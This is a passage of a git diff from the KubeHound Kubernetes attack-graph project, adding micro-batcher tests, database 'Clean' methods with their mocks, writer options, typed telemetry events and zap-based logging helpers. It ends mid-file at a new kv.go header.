b/pkg/kubehound/storage/graphdb/microbatcher_test.go new file mode 100644 index 000000000..b455c1b18 --- /dev/null +++ b/pkg/kubehound/storage/graphdb/microbatcher_test.go @@ -0,0 +1,63 @@ +package graphdb + +import ( + "context" + "sync/atomic" + "testing" + + "github.com/DataDog/KubeHound/pkg/telemetry/log" + "github.com/stretchr/testify/assert" +) + +func microBatcherTestInstance(t *testing.T) (*microBatcher, *atomic.Int32) { + t.Helper() + + var ( + writerFuncCalledCount atomic.Int32 + ) + + underTest := newMicroBatcher(log.DefaultLogger(), 5, 1, + func(_ context.Context, _ []any) error { + writerFuncCalledCount.Add(1) + + return nil + }) + + return underTest, &writerFuncCalledCount +} + +func TestMicroBatcher_AfterBatchSize(t *testing.T) { + t.Parallel() + + underTest, writerFuncCalledCount := microBatcherTestInstance(t) + + ctx, cancel := context.WithCancel(context.Background()) + t.Cleanup(cancel) + underTest.Start(ctx) + + for i := 0; i < 10; i++ { + assert.NoError(t, underTest.Enqueue(ctx, i)) + } + + assert.NoError(t, underTest.Flush(ctx)) + + assert.Equal(t, int32(2), writerFuncCalledCount.Load()) +} + +func TestMicroBatcher_AfterFlush(t *testing.T) { + t.Parallel() + + underTest, writerFuncCalledCount := microBatcherTestInstance(t) + + ctx, cancel := context.WithCancel(context.Background()) + t.Cleanup(cancel) + underTest.Start(ctx) + + for i := 0; i < 11; i++ { + assert.NoError(t, underTest.Enqueue(ctx, i)) + } + + assert.NoError(t, underTest.Flush(ctx)) + + assert.Equal(t, int32(3), writerFuncCalledCount.Load()) +} diff --git a/pkg/kubehound/storage/graphdb/mocks/graph_provider.go b/pkg/kubehound/storage/graphdb/mocks/graph_provider.go index 68d040b74..6dd9561bb 100644 --- a/pkg/kubehound/storage/graphdb/mocks/graph_provider.go +++ b/pkg/kubehound/storage/graphdb/mocks/graph_provider.go @@ -29,6 +29,49 @@ func (_m *Provider) EXPECT() *Provider_Expecter { return &Provider_Expecter{mock: &_m.Mock} } +// Clean provides a mock function with given fields: ctx, cluster +func (_m *Provider) Clean(ctx context.Context, cluster string) error { + ret := _m.Called(ctx, cluster) + + var r0 error + if rf, ok := ret.Get(0).(func(context.Context, string) error); ok { + r0 = rf(ctx, cluster) + } else { + r0 = ret.Error(0) + } + + return r0 +} + +// Provider_Clean_Call is a *mock.Call that shadows Run/Return methods with type explicit version for method 'Clean' +type Provider_Clean_Call struct { + *mock.Call +} + +// Clean is a helper method to define mock.On call +// - ctx context.Context +// - cluster string +func (_e *Provider_Expecter) Clean(ctx interface{}, cluster interface{}) *Provider_Clean_Call { + return &Provider_Clean_Call{Call: _e.mock.On("Clean", ctx, cluster)} +} + +func (_c *Provider_Clean_Call) Run(run func(ctx context.Context, cluster string)) *Provider_Clean_Call { + _c.Call.Run(func(args mock.Arguments) { + run(args[0].(context.Context), args[1].(string)) + }) + return _c +} + +func (_c *Provider_Clean_Call) Return(_a0 error) *Provider_Clean_Call { + _c.Call.Return(_a0) + return _c +} + +func (_c *Provider_Clean_Call) RunAndReturn(run func(context.Context, string) error) *Provider_Clean_Call { + _c.Call.Return(run) + return _c +} + // Close provides a mock function with given fields: ctx func (_m *Provider) Close(ctx context.Context) error { ret := _m.Called(ctx) diff --git a/pkg/kubehound/storage/graphdb/provider.go b/pkg/kubehound/storage/graphdb/provider.go index eb37eb22d..5b7feb553 100644 --- a/pkg/kubehound/storage/graphdb/provider.go +++ b/pkg/kubehound/storage/graphdb/provider.go @@ -2,6 +2,7 @@ package graphdb import ( "context" + "time" "github.com/DataDog/KubeHound/pkg/config" "github.com/DataDog/KubeHound/pkg/kubehound/graph/edge" @@ -11,8 +12,17 @@ import ( "github.com/DataDog/KubeHound/pkg/kubehound/storage/cache" ) +const ( + defaultWriterTimeout = 60 * time.Second + defaultMaxRetry = 3 + defaultWriterWorkerCount = 10 +) + type writerOptions struct { - Tags []string + Tags []string + WriterWorkerCount int + WriterTimeout time.Duration + MaxRetry int } type WriterOption func(*writerOptions) @@ -23,6 +33,27 @@ func WithTags(tags []string) WriterOption { } } +// WithWriterTimeout sets the timeout for the writer to complete the write operation. +func WithWriterTimeout(timeout time.Duration) WriterOption { + return func(wo *writerOptions) { + wo.WriterTimeout = timeout + } +} + +// WithWriterMaxRetry sets the maximum number of retries for failed writes. +func WithWriterMaxRetry(maxRetry int) WriterOption { + return func(wo *writerOptions) { + wo.MaxRetry = maxRetry + } +} + +// WithWriterWorkerCount sets the number of workers to process the batch. +func WithWriterWorkerCount(workerCount int) WriterOption { + return func(wo *writerOptions) { + wo.WriterWorkerCount = workerCount + } +} + // Provider defines the interface for implementations of the graphdb provider for storage of the calculated K8s attack graph. // //go:generate mockery --name Provider --output mocks --case underscore --filename graph_provider.go --with-expecter @@ -35,6 +66,9 @@ type Provider interface { // Raw returns a handle to the underlying provider to allow implementation specific operations e.g graph queries. Raw() any + // Droping all assets from the graph database from a cluster name + Clean(ctx context.Context, cluster string) error + // VertexWriter creates a new AsyncVertexWriter instance to enable asynchronous bulk inserts of vertices. VertexWriter(ctx context.Context, v vertex.Builder, c cache.CacheProvider, opts ...WriterOption) (AsyncVertexWriter, error) diff --git a/pkg/kubehound/storage/retrier.go b/pkg/kubehound/storage/retrier.go index c58cfa6b6..bed592d5b 100644 --- a/pkg/kubehound/storage/retrier.go +++ b/pkg/kubehound/storage/retrier.go @@ -5,18 +5,21 @@ import ( "time" "github.com/DataDog/KubeHound/pkg/config" + "github.com/DataDog/KubeHound/pkg/telemetry/log" ) type Connector[T any] func(ctx context.Context, cfg *config.KubehoundConfig) (T, error) func Retrier[T any](connector Connector[T], retries int, delay time.Duration) Connector[T] { return func(ctx context.Context, cfg *config.KubehoundConfig) (T, error) { + l := log.Logger(ctx) for r := 0; ; r++ { var empty T provider, err := connector(ctx, cfg) if err == nil || r >= retries { return provider, err } + l.Warn("Retrying to connect", log.Int("attempt", r+1), log.Int("retries", retries)) select { case <-time.After(delay): diff --git a/pkg/kubehound/storage/storedb/index_builder.go b/pkg/kubehound/storage/storedb/index_builder.go index d06e40eef..f7839f5df 100644 --- a/pkg/kubehound/storage/storedb/index_builder.go +++ b/pkg/kubehound/storage/storedb/index_builder.go @@ -123,6 +123,14 @@ func (ib *IndexBuilder) containers(ctx context.Context) error { }, Options: options.Index().SetName("byRun"), }, + { + Keys: bson.D{ + {Key: "k8.securitycontext.runasuser", Value: 1}, + {Key: "runtime.runID", Value: 1}, + {Key: "runtime.cluster", Value: 1}, + }, + Options: options.Index().SetName("byRunAsUser"), + }, } _, err := containers.Indexes().CreateMany(ctx, indices) diff --git a/pkg/kubehound/storage/storedb/mocks/store_provider.go b/pkg/kubehound/storage/storedb/mocks/store_provider.go index 055b7d2d6..f3a517ed0 100644 --- a/pkg/kubehound/storage/storedb/mocks/store_provider.go +++ b/pkg/kubehound/storage/storedb/mocks/store_provider.go @@ -95,6 +95,50 @@ func (_c *Provider_BulkWriter_Call) RunAndReturn(run func(context.Context, colle return _c } +// Clean provides a mock function with given fields: ctx, runId, cluster +func (_m *Provider) Clean(ctx context.Context, runId string, cluster string) error { + ret := _m.Called(ctx, runId, cluster) + + var r0 error + if rf, ok := ret.Get(0).(func(context.Context, string, string) error); ok { + r0 = rf(ctx, runId, cluster) + } else { + r0 = ret.Error(0) + } + + return r0 +} + +// Provider_Clean_Call is a *mock.Call that shadows Run/Return methods with type explicit version for method 'Clean' +type Provider_Clean_Call struct { + *mock.Call +} + +// Clean is a helper method to define mock.On call +// - ctx context.Context +// - runId string +// - cluster string +func (_e *Provider_Expecter) Clean(ctx interface{}, runId interface{}, cluster interface{}) *Provider_Clean_Call { + return &Provider_Clean_Call{Call: _e.mock.On("Clean", ctx, runId, cluster)} +} + +func (_c *Provider_Clean_Call) Run(run func(ctx context.Context, runId string, cluster string)) *Provider_Clean_Call { + _c.Call.Run(func(args mock.Arguments) { + run(args[0].(context.Context), args[1].(string), args[2].(string)) + }) + return _c +} + +func (_c *Provider_Clean_Call) Return(_a0 error) *Provider_Clean_Call { + _c.Call.Return(_a0) + return _c +} + +func (_c *Provider_Clean_Call) RunAndReturn(run func(context.Context, string, string) error) *Provider_Clean_Call { + _c.Call.Return(run) + return _c +} + // Close provides a mock function with given fields: ctx func (_m *Provider) Close(ctx context.Context) error { ret := _m.Called(ctx) diff --git a/pkg/kubehound/storage/storedb/mongo_provider.go b/pkg/kubehound/storage/storedb/mongo_provider.go index d167d9eb8..274cbc091 100644 --- a/pkg/kubehound/storage/storedb/mongo_provider.go +++ b/pkg/kubehound/storage/storedb/mongo_provider.go @@ -7,6 +7,7 @@ import ( "github.com/DataDog/KubeHound/pkg/config" "github.com/DataDog/KubeHound/pkg/kubehound/store/collections" + "github.com/DataDog/KubeHound/pkg/telemetry/log" "github.com/DataDog/KubeHound/pkg/telemetry/tag" "github.com/hashicorp/go-multierror" "go.mongodb.org/mongo-driver/bson" @@ -110,6 +111,28 @@ func (mp *MongoProvider) Prepare(ctx context.Context) error { return nil } +func (mp *MongoProvider) Clean(ctx context.Context, cluster string, runId string) error { + l := log.Logger(ctx) + db := mp.writer.Database(MongoDatabaseName) + collections, err := db.ListCollectionNames(ctx, bson.M{}) + if err != nil { + return fmt.Errorf("listing mongo DB collections: %w", err) + } + filter := bson.M{ + "runtime.runID": runId, + "runtime.cluster": cluster, + } + for _, collectionName := range collections { + res, err := db.Collection(collectionName).DeleteMany(ctx, filter) + if err != nil { + return fmt.Errorf("deleting mongo DB collection %s: %w", collectionName, err) + } + l.Info("Deleted elements from collection", log.Int64("count", res.DeletedCount), log.String("collection", collectionName)) + } + + return nil +} + func (mp *MongoProvider) Reader() any { return mp.reader.Database(MongoDatabaseName) } diff --git a/pkg/kubehound/storage/storedb/mongo_writer.go b/pkg/kubehound/storage/storedb/mongo_writer.go index 8d01347fb..dbf0860ce 100644 --- a/pkg/kubehound/storage/storedb/mongo_writer.go +++ b/pkg/kubehound/storage/storedb/mongo_writer.go @@ -67,13 +67,13 @@ func (maw *MongoAsyncWriter) startBackgroundWriter(ctx context.Context) { return } - _ = statsd.Count(metric.BackgroundWriterCall, 1, maw.tags, 1) + _ = statsd.Count(ctx, metric.BackgroundWriterCall, 1, maw.tags, 1) err := maw.batchWrite(ctx, data) if err != nil { log.Trace(ctx).Errorf("write data in background batch writer: %v", err) } - _ = statsd.Decr(metric.QueueSize, maw.tags, 1) + _ = statsd.Decr(ctx, metric.QueueSize, maw.tags, 1) case <-ctx.Done(): log.Trace(ctx).Debug("Closed background mongodb worker") @@ -85,13 +85,13 @@ func (maw *MongoAsyncWriter) startBackgroundWriter(ctx context.Context) { // batchWrite blocks until the write is complete func (maw *MongoAsyncWriter) batchWrite(ctx context.Context, ops []mongo.WriteModel) error { - span, ctx := tracer.StartSpanFromContext(ctx, span.MongoDBBatchWrite, tracer.Measured()) + span, ctx := span.SpanRunFromContext(ctx, span.MongoDBBatchWrite) span.SetTag(tag.CollectionTag, maw.collection.Name()) var err error defer func() { span.Finish(tracer.WithError(err)) }() defer maw.writingInFlight.Done() - _ = statsd.Count(metric.ObjectWrite, int64(len(ops)), maw.tags, 1) + _ = statsd.Count(ctx, metric.ObjectWrite, int64(len(ops)), maw.tags, 1) bulkWriteOpts := options.BulkWrite().SetOrdered(false) _, err = maw.dbWriter.BulkWrite(ctx, ops, bulkWriteOpts) @@ -114,7 +114,7 @@ func (maw *MongoAsyncWriter) Queue(ctx context.Context, model any) error { maw.writingInFlight.Add(1) maw.consumerChan <- copied - _ = statsd.Incr(metric.QueueSize, maw.tags, 1) + _ = statsd.Incr(ctx, metric.QueueSize, maw.tags, 1) // cleanup the ops array after we have copied it to the channel maw.ops = nil @@ -126,7 +126,7 @@ func (maw *MongoAsyncWriter) Queue(ctx context.Context, model any) error { // Flush triggers writes of any remaining items in the queue. // This is blocking func (maw *MongoAsyncWriter) Flush(ctx context.Context) error { - span, ctx := tracer.StartSpanFromContext(ctx, span.MongoDBFlush, tracer.Measured()) + span, ctx := span.SpanRunFromContext(ctx, span.MongoDBFlush) span.SetTag(tag.CollectionTag, maw.collection.Name()) var err error defer func() { span.Finish(tracer.WithError(err)) }() diff --git a/pkg/kubehound/storage/storedb/mongo_writer_test.go b/pkg/kubehound/storage/storedb/mongo_writer_test.go index 61fb133df..40b2974f5 100644 --- a/pkg/kubehound/storage/storedb/mongo_writer_test.go +++ b/pkg/kubehound/storage/storedb/mongo_writer_test.go @@ -103,7 +103,6 @@ func TestMongoAsyncWriter_Queue(t *testing.T) { } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() writer := NewMongoAsyncWriter(ctx, db, collections.FakeCollection{}, WithTags([]string{tag.Storage("mongotest")})) @@ -223,7 +222,6 @@ func TestMongoAsyncWriter_Flush(t *testing.T) { t.Cleanup(cleanup) for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() diff --git a/pkg/kubehound/storage/storedb/provider.go b/pkg/kubehound/storage/storedb/provider.go index 2036b8f4a..461ab022d 100644 --- a/pkg/kubehound/storage/storedb/provider.go +++ b/pkg/kubehound/storage/storedb/provider.go @@ -38,6 +38,9 @@ type Provider interface { // Prepare drops all collections from the database (usually to ensure a clean start) and recreates indices. Prepare(ctx context.Context) error + // Droping all assets from the database (usually to ensure a clean start) from a runID and cluster name + Clean(ctx context.Context, runId string, cluster string) error + // Reader returns a handle to the underlying provider to allow implementation specific queries against the mongo DB Reader() any diff --git a/pkg/telemetry/events/events.go b/pkg/telemetry/events/events.go index f4e2b363b..e9b5494dc 100644 --- a/pkg/telemetry/events/events.go +++ b/pkg/telemetry/events/events.go @@ -1,19 +1,97 @@ package events import ( + "context" + "fmt" + + "github.com/DataDog/KubeHound/pkg/telemetry/log" kstatsd "github.com/DataDog/KubeHound/pkg/telemetry/statsd" + "github.com/DataDog/KubeHound/pkg/telemetry/tag" "github.com/DataDog/datadog-go/v5/statsd" ) const ( - DumperRun = "kubehound.dumper.run" - DumperStop = "kubehound.dumper.stop" + IngestSkip = iota + IngestStarted + IngestFinished + IngestorInit + IngestorFailed + DumpStarted + DumpFinished + DumpFailed +) + +const ( + EventActionFail = "fail" + EventActionInit = "init" + EventActionStart = "start" + EventActionSkip = "skip" + EventActionFinish = "finish" ) -func PushEvent(title string, text string, tags []string) { - _ = kstatsd.Event(&statsd.Event{ - Title: title, - Text: text, - Tags: tags, +type EventAction int + +type EventActionDetails struct { + Title string + Text string + Level statsd.EventAlertType + Action string +} + +// Could also be a format stirng template in this case, if needed? +var map2msg = map[EventAction]EventActionDetails{ + IngestorFailed: {Title: "Ingestor/grpc endpoint init failed", Level: statsd.Error, Action: EventActionFail}, + IngestorInit: {Title: "Ingestor/grpc endpoint initiated", Level: statsd.Info, Action: EventActionInit}, + IngestStarted: {Title: "Ingestion started", Level: statsd.Info, Action: EventActionStart}, + IngestSkip: {Title: "Ingestion skipped", Level: statsd.Info, Action: EventActionSkip}, + IngestFinished: {Title: "Ingestion finished", Level: statsd.Info, Action: EventActionFinish}, + + DumpStarted: {Title: "Dump started", Level: statsd.Info, Action: EventActionStart}, + DumpFinished: {Title: "Dump finished", Level: statsd.Info, Action: EventActionFinish}, + DumpFailed: {Title: "Dump failed", Level: statsd.Error, Action: EventActionFail}, +} + +func (ea EventAction) Tags(ctx context.Context) []string { + tags := tag.GetDefaultTags(ctx) + tags = append(tags, fmt.Sprintf("%s:%s", tag.ActionTypeTag, map2msg[ea].Action)) + + return tags +} + +func (ea EventAction) Level() statsd.EventAlertType { + return map2msg[ea].Level +} + +func (ea EventAction) Title(ctx context.Context) string { + title, _ := getTitleTextMsg(ctx, map2msg[ea].Title) + + return title +} + +func (ea EventAction) DefaultMessage(ctx context.Context) string { + _, msg := getTitleTextMsg(ctx, map2msg[ea].Title) + + return msg +} + +func getTitleTextMsg(ctx context.Context, actionMsg string) (string, string) { + cluster := log.GetClusterFromContext(ctx) + runId := log.GetRunIDFromContext(ctx) + title := fmt.Sprintf("%s for %s", actionMsg, cluster) + text := fmt.Sprintf("%s for %s with run_id %s", actionMsg, cluster, runId) + + return title, text +} + +func PushEvent(ctx context.Context, action EventAction, text string) error { + if text == "" { + text = action.DefaultMessage(ctx) + } + + return kstatsd.Event(&statsd.Event{ + Title: action.Title(ctx), + Text: text, + Tags: action.Tags(ctx), + AlertType: action.Level(), }) } diff --git a/pkg/telemetry/log/fields.go b/pkg/telemetry/log/fields.go new file mode 100644 index 000000000..1fe25af7d --- /dev/null +++ b/pkg/telemetry/log/fields.go @@ -0,0 +1,467 @@ +package log + +import ( + "context" + "fmt" + "reflect" + "strconv" + "time" + + "github.com/pkg/errors" + "go.uber.org/zap" + "go.uber.org/zap/zapcore" + ddtrace "gopkg.in/DataDog/dd-trace-go.v1/ddtrace/tracer" +) + +const ( + FieldK8sTypeKey = "k8s_type" + FieldCountKey = "count" + FieldNodeTypeKey = "node_type" + FieldVertexTypeKey = "vertex_type" + FieldClusterKey = "cluster" + FieldComponentKey = "component" + FieldRunIDKey = "run_id" + FieldTeamKey = "team" + FieldServiceKey = "service" + FieldAppKey = "app" + FieldIngestorPipelineKey = "ingestor_pipeline" + FieldDumpPipelineKey = "dump_pipeline" + FieldPathKey = "path" + FieldEntityKey = "entity" +) + +type contextKey int + +const ( + ContextFieldRunID contextKey = iota + ContextFieldCluster + ContextFieldComponent +) + +func convertField(value any) string { + val, err := value.(string) + if !err { + return "" + } + + return val +} + +func GetRunIDFromContext(ctx context.Context) string { + return convertField(ctx.Value(ContextFieldRunID)) +} + +func GetClusterFromContext(ctx context.Context) string { + return convertField(ctx.Value(ContextFieldCluster)) +} + +func GetComponentFromContext(ctx context.Context) string { + return convertField(ctx.Value(ContextFieldComponent)) +} + +func SpanSetDefaultField(ctx context.Context, span ddtrace.Span) { + runID := convertField(ctx.Value(ContextFieldRunID)) + if runID != "" { + span.SetTag(FieldRunIDKey, convertField(runID)) + } + + cluster := convertField(ctx.Value(ContextFieldCluster)) + if cluster != "" { + span.SetTag(FieldClusterKey, convertField(cluster)) + } +} + +func FieldK8sType(k8sType string) string { + return fmt.Sprintf("%s:%s", FieldK8sTypeKey, k8sType) +} + +func FieldCount(count int) string { + return fmt.Sprintf("%s:%d", FieldCountKey, count) +} + +func FieldNodeType(nodeType string) string { + return fmt.Sprintf("%s:%s", FieldNodeTypeKey, nodeType) +} + +func FieldVertexType(vertexType string) string { + return fmt.Sprintf("%s:%s", FieldVertexTypeKey, vertexType) +} + +func FieldCluster(cluster string) string { + return fmt.Sprintf("%s:%s", FieldClusterKey, cluster) +} + +func FieldComponent(component string) string { + return fmt.Sprintf("%s:%s", FieldComponentKey, component) +} + +func FieldRunID(runID string) string { + return fmt.Sprintf("%s:%s", FieldRunIDKey, runID) +} + +func FieldTeam(team string) string { + return fmt.Sprintf("%s:%s", FieldTeamKey, team) +} + +func FieldService(service string) string { + return fmt.Sprintf("%s:%s", FieldServiceKey, service) +} + +func FieldIngestorPipeline(ingestorPipeline string) string { + return fmt.Sprintf("%s:%s", FieldIngestorPipelineKey, ingestorPipeline) +} + +func FieldDumpPipeline(dumpPipeline string) string { + return fmt.Sprintf("%s:%s", FieldDumpPipelineKey, dumpPipeline) +} + +// Field aliased here to make it easier to adopt this package +type Field = zapcore.Field + +type msec time.Duration + +func (f msec) String() string { + ms := time.Duration(f) / time.Millisecond + if ms < 10 { + us := time.Duration(f) / time.Microsecond + + return fmt.Sprintf("%0.1fms", float64(us)/1000.0) + } + + return strconv.Itoa(int(ms)) + "ms" +} + +// Msec writes a duration in milliseconds. If the time is <10msec, it is +// given to one decimal point. +func Msec(key string, dur time.Duration) Field { + return zap.Stringer(key, msec(dur)) +} + +// Duration using its standard String() representation. +func Duration(key string, value time.Duration) Field { + return zap.Duration(key, value) +} + +type floatFmt struct { + value float64 + format string +} + +func (f floatFmt) String() string { + return fmt.Sprintf(f.format, f.value) +} + +// Float writes a float64 value using the printf-style fmt string. +func Float(key string, val float64, fmt string) Field { + return zap.Stringer(key, floatFmt{val, fmt}) +} + +// Base64 writes value encoded as base64. +func Base64(key string, value []byte) Field { + return zap.Binary(key, value) +} + +// Float64 writes a float value. +func Float64(key string, val float64) Field { + return zap.Float64(key, val) +} + +// Bool writes "true" or "false" for value. +func Bool(key string, value bool) Field { + return zap.Bool(key, value) +} + +// Dur writes a duration field truncated to the given duration. +func Dur(key string, value time.Duration, truncate ...time.Duration) Field { + trunc := time.Microsecond + if len(truncate) > 0 { + trunc = truncate[0] + } + + return zap.Duration(key, value-(value%trunc)) +} + +type stackTracer interface { + StackTrace() errors.StackTrace +} + +type richError struct { + kind string + message string + stack errors.StackTrace + handlingStack errors.StackTrace +} + +func (f richError) MarshalLogObject(enc zapcore.ObjectEncoder) error { + if f.kind != "" { + enc.AddString("kind", f.kind) + } + if f.message != "" { + enc.AddString("message", f.message) + } + marshalStacktrace(enc, "stack", f.stack) + marshalStacktrace(enc, "handling_stack", f.handlingStack) + + return nil +} + +func marshalStacktrace(enc zapcore.ObjectEncoder, fieldName string, st errors.StackTrace) { + if st != nil { + s := fmt.Sprintf("%+v", st) + if len(s) > 0 && s[0] == '\n' { + s = s[1:] + } + enc.AddString(fieldName, s) + } +} + +// RichError writes an error in the standard format expected by Datadog: +// +// - type of error in `error.kind` +// - `err.Error()` in `error.message` +// - stack trace from the first error that has one in the chain of wrapped errors starting from err in `error.stack`, or [RichError] caller stack trace if no such stack trace was found. +// - [RichError] caller stack trace in `error.handling_stack` if a stack trace was found from err. +func RichError(err error) Field { + if err == nil { + return zap.Skip() + } + + var callerStackTrace errors.StackTrace + if errWithStackTrace, ok := errors.WithStack(err).(stackTracer); ok { + callerStackTrace = errWithStackTrace.StackTrace() + if len(callerStackTrace) > 0 { + callerStackTrace = callerStackTrace[1:] + } + } + + re := richError{kind: reflect.TypeOf(err).String(), message: err.Error()} + + if stacktrace := getStacktrace(err); stacktrace != nil { + re.stack = stacktrace + re.handlingStack = callerStackTrace + } else { + re.stack = callerStackTrace + } + + return zap.Object("error", re) +} + +// Interface to unwrap joined errors.Join https://pkg.go.dev/errors#Join +type UnwrapJoin interface { + Unwrap() []error +} + +// Interface to unwrap joined multierror.Append https://pkg.go.dev/github.com/hashicorp/go-multierror#Error.WrappedErrors +type UnwrapMultierror interface { + WrappedErrors() []error +} + +func getStacktrace(err error) errors.StackTrace { + errorsToTest := []error{err} + + for index := 0; index < len(errorsToTest); index++ { + testedErr := errorsToTest[index] + + if stackTracer, ok := testedErr.(stackTracer); ok { + return stackTracer.StackTrace() + } + + if joinErr, ok := testedErr.(UnwrapJoin); ok { + errorsToTest = append(errorsToTest, joinErr.Unwrap()...) + } else if joinErr, ok := testedErr.(UnwrapMultierror); ok { + errorsToTest = append(errorsToTest, joinErr.WrappedErrors()...) + } else if unwrapped := errors.Unwrap(testedErr); unwrapped != nil { + errorsToTest = append(errorsToTest, unwrapped) + } + } + + return nil +} + +// ErrorField writes an error. +func ErrorField(err error) Field { + if err == nil { + return zap.Skip() + } + + return zap.String("error", err.Error()) +} + +// ErrorWithStackField writes an error. Prints message and stack if available. +func ErrorWithStackField(err error) Field { + if err == nil { + return zap.Skip() + } + + return Object("error", err) +} + +// NamedError writes an error with a custom name. +func NamedError(key string, err error) Field { + return zap.NamedError(key, err) +} + +// Float32 writes a float32 value. +func Float32(key string, value float32) Field { + return zap.Float64(key, float64(value)) +} + +// Int writes an int value. +func Int(key string, value int) Field { + return zap.Int64(key, int64(value)) +} + +// Ints writes an int slice as an array. +func Ints(key string, value []int) Field { + return zap.Ints(key, value) +} + +// Int64 writes an int64 value. +func Int64(key string, value int64) Field { + return zap.Int64(key, value) +} + +// Int64s writes an int64 slice as an array. +func Int64s(key string, value []int64) Field { + return zap.Int64s(key, value) +} + +// Int32 writes an int32 value. +func Int32(key string, value int32) Field { + return zap.Int64(key, int64(value)) +} + +// Int32s writes a slice of int32s. +func Int32s(key string, value []int32) Field { + return zap.Int32s(key, value) +} + +type objectField struct { + o interface{} +} + +func (o objectField) String() string { + return fmt.Sprintf("%+v", o.o) +} + +// Object writes an object with "%+v". +func Object(key string, value interface{}) Field { + return zap.Stringer(key, objectField{value}) +} + +// StructuredObject adds value as a structured object. +// value must implement zap.MarshalLogObject. Examples of such implementations can be found here: +// https://github.com/uber-go/zap/blob/9b86a50a3e27e0e12ccb6b47288de27df7fd3d5b/example_test.go#L176-L186 +func StructuredObject(key string, value zapcore.ObjectMarshaler) Field { + return zap.Object(key, value) +} + +// String writes a string value. +func String(key, value string) Field { + return zap.String(key, value) +} + +// Strings writes a slice of strings. +func Strings(key string, value []string) Field { + return zap.Strings(key, value) +} + +// Stringer writes the output of the value's String method. +// The Stringer's String method is called lazily. +func Stringer(key string, value fmt.Stringer) Field { + return zap.Stringer(key, value) +} + +// Stringers writes the output of the value's String methods. +// The Stringer's String methods are called lazily. +func Stringers[T fmt.Stringer](key string, value []T) Field { + return zap.Stringers(key, value) +} + +// Byte writes a single byte as its ascii representation. +func Byte(key string, value byte) Field { + return zap.ByteString(key, []byte{value}) +} + +// Bytes writes the []bytes as a string, up to limit characters. +func Bytes(key string, value []byte, limit int) Field { + if limit > 0 && limit < len(value) { + return zap.ByteString(key, value[:limit]) + } + + return zap.ByteString(key, value) +} + +// stringfStringer implements the Stringf field with lazy evaluation. +type stringfStringer struct { + format string + args []interface{} +} + +func (s *stringfStringer) String() string { + return fmt.Sprintf(s.format, s.args...) +} + +// Stringf writes fmt.Sprintf(format, args...). It is evaluated lazily, +// only if the log message is going to be emitted. +func Stringf(key, format string, args ...interface{}) Field { + return zap.Stringer(key, &stringfStringer{format, args}) +} + +// Time writes the value as a Unix timestamp. +func Time(key string, value time.Time) Field { + return Int64(key, value.Unix()) +} + +// Uint writes a uint. +func Uint(key string, value uint) Field { + return zap.Uint64(key, uint64(value)) +} + +// Uints writes a uint slice as an array. +func Uints(key string, value []uint) Field { + return zap.Uints(key, value) +} + +// Uint64 writes a uint64. +func Uint64(key string, value uint64) Field { + return zap.Uint64(key, value) +} + +// Uint64s writes a uint64 slice as an array. +func Uint64s(key string, value []uint64) Field { + return zap.Uint64s(key, value) +} + +// Uint32 writes a uint32. +func Uint32(key string, value uint32) Field { + return zap.Uint64(key, uint64(value)) +} + +// Uint32s writes a uint32 slice as an array. +func Uint32s(key string, value []uint32) Field { + return zap.Uint32s(key, value) +} + +// Skip returns a no-op field +func Skip() Field { + return zap.Skip() +} + +type pct struct { + part, whole float64 +} + +func (p pct) String() string { + return fmt.Sprintf("%0.3f%%", (p.part/p.whole)*100) +} + +// Percent writes out a percent out of 100%. +func Percent(key string, part, whole float64) Field { + return zap.Stringer(key, pct{part, whole}) +} + +// PercentInt writes out a percent out of 100%. +func PercentInt(key string, part, whole int) Field { + return zap.Stringer(key, pct{float64(part), float64(whole)}) +} diff --git a/pkg/telemetry/log/formatter.go b/pkg/telemetry/log/formatter.go new file mode 100644 index 000000000..41efd0c54 --- /dev/null +++ b/pkg/telemetry/log/formatter.go @@ -0,0 +1,96 @@ +package log + +import ( + "fmt" + "os" + "time" + + "go.uber.org/zap" + "go.uber.org/zap/zapcore" +) + +// envOverride applies the +// - LOG_LEVEL environment variable to this config. +// +// For visibility, if the variable is present but invalid, a warning is +// printed directly to stderr. +func newDefaultZapConfig() zap.Config { + var err error + level := DefaultLevel + if env := os.Getenv("LOG_LEVEL"); len(env) > 0 { + level, err = LevelFromString(env) + if err != nil { + fmt.Fprintf(os.Stderr, "WARN: invalid LOG_LEVEL setting %s\n", env) + } + } + + // NOTE: Avoid using common names like `stack_trace` to avoid field remapping by the Logs app + // that might mask error message + encoderConfig := zap.NewProductionEncoderConfig() + encoderConfig.StacktraceKey = "zap_stack_trace" + + return zap.Config{ + Level: zap.NewAtomicLevelAt(level.zapLevel()), + Development: false, + Sampling: nil, + EncoderConfig: encoderConfig, + OutputPaths: []string{"stdout"}, + ErrorOutputPaths: []string{"stderr"}, + // we don't want zap stacktraces because they are incredibly noisy + DisableStacktrace: true, + } +} + +func newTextFormatterConfig() zap.Config { + zc := newDefaultZapConfig() + + zc.Encoding = "text" + zc.EncoderConfig.EncodeLevel = zapcore.CapitalColorLevelEncoder + zc.EncoderConfig.CallerKey = "" + zc.EncoderConfig.FunctionKey = "" + zc.EncoderConfig.ConsoleSeparator = " " + zc.EncoderConfig.EncodeTime = zapcore.TimeEncoderOfLayout("15:04:05") + zc.EncoderConfig.EncodeDuration = zapcore.StringDurationEncoder + + return zc +} + +func newJSONFormatterConfig() zap.Config { + // var zc zap.Config + // zc = zap.NewProductionConfig() + zc := newDefaultZapConfig() + + zc.Encoding = "json" + // We want log.Duration("duration", ...) to naturally map to Datadog's 'duration' standard attribute. + // Datadog displays it nicely and uses it as a default measure for trace search. + // See https://docs.datadoghq.com/logs/log_configuration/attributes_naming_convention/#performance + // The spec requires that it be encoded in nanoseconds (default is seconds). + zc.EncoderConfig.EncodeDuration = zapcore.NanosDurationEncoder + + return zc +} + +func legacyTimeEncoder(t time.Time, enc zapcore.PrimitiveArrayEncoder) { + enc.AppendString(t.Format("2006-01-02T15:04:05.000000-07:00")) +} + +func newZapConfig() zap.Config { + // By default, we use text formatter + zc := newTextFormatterConfig() + + switch logFormat := os.Getenv("KH_LOG_FORMAT"); { + // Datadog require the logged field to be "message" and not "msg" + case logFormat == logFormatDD: + zc = newJSONFormatterConfig() + zc.EncoderConfig.MessageKey = "message" + zc.EncoderConfig.EncodeTime = legacyTimeEncoder + case logFormat == logFormatJSON: + zc = newJSONFormatterConfig() + } + + zc.InitialFields = map[string]interface{}{ + FieldAppKey: "kubehound", + } + + return zc +} diff --git a/pkg/telemetry/log/kv.go b/pkg/telemetry/log/kv.go new file mode 100644 index 000000000..17633715f --- /dev/null +++ 